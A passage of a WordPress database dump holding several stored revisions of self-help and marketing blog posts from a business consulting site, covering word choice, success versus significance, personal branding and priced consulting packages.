be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\n<strong>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</strong>', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'inherit', 'open', 'open', '', '24-revision-5', '', '', '2009-07-08 16:17:58', '2009-07-08 23:17:58', '', 24, 'http://www.whitehotcenter.com/24-revision-5/', 0, 'revision', '', 0),
(453, 2, '2009-06-24 12:54:04', '2009-06-24 19:54:04', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="alignnone size-full wp-image-55" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="400" height="194" /></a>\r\n<h2><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-8', '', '', '2009-06-24 12:54:04', '2009-06-24 19:54:04', '', 10, 'http://www.whitehotcenter.com/10-revision-8/', 0, 'revision', '', 0),
(454, 2, '2009-07-08 16:32:13', '2009-07-08 23:32:13', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="size-full wp-image-55 alignleft" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="280" height="136" /></a><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-9', '', '', '2009-07-08 16:32:13', '2009-07-08 23:32:13', '', 10, 'http://www.whitehotcenter.com/10-revision-9/', 0, 'revision', '', 0),
(455, 2, '2009-07-08 16:33:23', '2009-07-08 23:33:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="size-full wp-image-55 alignleft" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="168" height="82" /></a><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-10', '', '', '2009-07-08 16:33:23', '2009-07-08 23:33:23', '', 10, 'http://www.whitehotcenter.com/10-revision-10/', 0, 'revision', '', 0),
(457, 2, '2009-07-08 16:34:34', '2009-07-08 23:34:34', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="size-full wp-image-55 alignnone" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="174" height="86" /></a><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-12', '', '', '2009-07-08 16:34:34', '2009-07-08 23:34:34', '', 10, 'http://www.whitehotcenter.com/10-revision-12/', 0, 'revision', '', 0),
(456, 2, '2009-07-08 16:33:25', '2009-07-08 23:33:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" mce_href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="size-full wp-image-55 alignleft" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" mce_src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" height="82" width="168"></a><span style="color: rgb(255, 140, 0);" mce_style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?&nbsp; What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\n<p>Your words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<img src="http://whc.fbdev.org/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" mce_src="http://whc.fbdev.org/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" class="mceWPmore mceItemNoResize" title="More..."></p>\r\n<p>Here’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.&nbsp; Are they words of empowerment, hope, leadership, and inspiration?&nbsp; If not, you may want to become more aware of the words coming out of your mouth.&nbsp; All the successful people I have met,&nbsp; choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.&nbsp; When you choose language composed of words that make you and others feel better, you automatically produce a greater result.</p>\r\n<p><b>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</b></p>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-11', '', '', '2009-07-08 16:33:25', '2009-07-08 23:33:25', '', 10, 'http://www.whitehotcenter.com/10-revision-11/', 0, 'revision', '', 0),
(458, 2, '2009-07-08 10:15:47', '2009-07-08 17:15:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend an email to me: <a href="mail://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span></h2>\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-08 10:15:47', '2009-07-08 17:15:47', '', 138, 'http://www.whitehotcenter.com/138-revision-46/', 0, 'revision', '', 0),
(459, 2, '2009-07-08 15:17:38', '2009-07-08 22:17:38', '<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-13', '', '', '2009-07-08 15:17:38', '2009-07-08 22:17:38', '', 8, 'http://www.whitehotcenter.com/8-revision-13/', 0, 'revision', '', 0);
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(460, 2, '2009-07-08 17:05:01', '2009-07-09 00:05:01', '<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-14', '', '', '2009-07-08 17:05:01', '2009-07-09 00:05:01', '', 8, 'http://www.whitehotcenter.com/8-revision-14/', 0, 'revision', '', 0),
(461, 2, '2009-07-08 17:16:35', '2009-07-09 00:16:35', '', 'significancepost', 0, '', 'inherit', 'open', 'open', '', 'significancepost', '', '', '2009-07-08 17:16:35', '2009-07-09 00:16:35', '', 8, 'http://www.whitehotcenter.com/wp-content/uploads/2009/03/significancepost.gif', 0, 'attachment', 'image/gif', 0),
(462, 2, '2009-07-08 17:07:46', '2009-07-09 00:07:46', '<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satidfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-15', '', '', '2009-07-08 17:07:46', '2009-07-09 00:07:46', '', 8, 'http://www.whitehotcenter.com/8-revision-15/', 0, 'revision', '', 0),
(463, 2, '2009-07-08 17:18:36', '2009-07-09 00:18:36', '', 'significancepost', 0, '', 'inherit', 'open', 'open', '', 'significancepost-2', '', '', '2009-07-08 17:18:36', '2009-07-09 00:18:36', '', 8, 'http://www.whitehotcenter.com/wp-content/uploads/2009/03/significancepost1.gif', 0, 'attachment', 'image/gif', 0),
(464, 2, '2009-07-08 17:16:55', '2009-07-09 00:16:55', '<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost.gif"><img class="alignnone size-medium wp-image-461" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost-300x188.gif" alt="significancepost" width="300" height="188" /></a>I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satidfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-16', '', '', '2009-07-08 17:16:55', '2009-07-09 00:16:55', '', 8, 'http://www.whitehotcenter.com/8-revision-16/', 0, 'revision', '', 0),
(465, 2, '2009-07-08 15:17:56', '2009-07-08 22:17:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="320" height="204" /></a>\r\n<h2><span style="color: #ff6600;">With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</span></h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2><span style="color: #ff6600;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</span></h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your 